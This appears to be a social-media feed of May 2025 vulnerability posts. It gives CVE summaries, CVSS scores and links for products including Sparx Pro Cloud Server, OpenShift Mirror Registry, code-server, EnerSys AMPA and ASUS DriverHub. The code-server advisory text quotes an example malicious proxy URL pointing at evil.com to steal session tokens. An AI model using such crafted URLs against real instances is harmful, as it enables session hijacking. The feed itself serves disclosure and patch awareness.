../ in Sparx Pro Cloud Server.

sev:HIGH 8.3 - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:N/SA:N

Improper Limitation of a Pathname caused a Path Traversal vulnerability in Sparx Systems Pro Cloud Server. This vulnerability is present in logview.php and it allows reading arbitrary files on the filesystem. Logview is accessible on Pro Cloud Server Configuration interface. This issue affects Pro Cloud Server: earlier than 6.0.165.

https://nvd.nist.gov/vuln/detail/CVE-2025-4377

Whoopsie.

https://access.redhat.com/security/cve/CVE-2025-3528

sev:HIGH 8.2 - CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

A flaw was found in the Mirror Registry. The quay-app container shipped as part of the Mirror Registry for OpenShift has write access to the /etc/passwd. This flaw allows a malicious actor with access to the container to modify the passwd file and elevate their privileges to the root user within that pod.

There's currently no mitigation available for this issue.

https://nvd.nist.gov/vuln/detail/CVE-2025-3528

This could suck for some of us.

https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj

sev:HIGH 8.3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

https://nvd.nist.gov/vuln/detail/CVE-2025-47269

@christopherkunz did https://thehackernews.com/2025/05/cisco-patches-cve-2025-20188-100-cvss.html make it to your list?

More vulnerable versions of EnerSys AMPA.

https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0002.md

https://www.enersys.com/4996df/globalassets/documents/corporate/cve/enersys_cve-2024-12442-final.pdf

RCE in EnerSys AMPA web GUI.

https://www.enersys.com/4996bf/globalassets/documents/corporate/cve/enersys_cve-2024-11861-final.pdf

https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0001.md

No CVSS assessment yet.

https://nvd.nist.gov/vuln/detail/CVE-2024-11861

Commvault Patch Controversy: Researcher Error, Not Vendor Failure

In recent days, confusion has surrounded a critical security flaw in Commvault’s Command Center, sparking debate between cybersecurity researchers and the vendor. The vulnerability, identified as CVE-2025-34028 with a maximum CVSS score of 10.0, initially raised concerns that even updated versions of Commvault’s software might still be exploitable. However, the company has now clarified that these claims…

https://undercodenews.com/commvault-patch-controversy-researcher-error-not-vendor-failure/

Hackers are actively exploiting a vulnerability in WordPress plugin OttoKit

The vulnerability is tracked as CVE-2025-27007, and when exploited, allows an attacker to gain admin access to the WordPress instance

Administrators are advised to patch ASAP

#cybersecurity #WordPress #threatintel #vulnerabilitymanagement

https://www.bleepingcomputer.com/news/security/hackers-exploit-ottokit-wordpress-plugin-flaw-to-add-admin-accounts/

By me @Forbes: A CVSS 10 Azure vulnerability confirmed by Microsoft. CVE-2025-29813

#infosec

https://www.forbes.com/sites/daveywinder/2025/05/09/microsoft-confirms-critical-1010-cloud-security-vulnerability/

Here's a couple CVEs in some ASUS motherboards to start us off this Friday.

https://www.asus.com/content/asus-product-security-advisory/

sev:CRIT 9.4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

"This issue is limited to motherboards and does not affect laptops, desktop computers, or other endpoints." An insufficient validation vulnerability in ASUS DriverHub may allow untrusted sources to affect system behavior via crafted HTTP requests. Refer to the 'Security Update for ASUS DriverHub' section on the ASUS Security Advisory for more information.

https://nvd.nist.gov/vuln/detail/CVE-2025-3463

sev:HIGH 8.4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:H

"This issue is limited to motherboards and does not affect laptops, desktop computers, or other endpoints." An insufficient validation in ASUS DriverHub may allow unauthorized sources to interact with the software's features via crafted HTTP requests. Refer to the 'Security Update for ASUS DriverHub' section on the ASUS Security Advisory for more information.

https://nvd.nist.gov/vuln/detail/CVE-2025-3462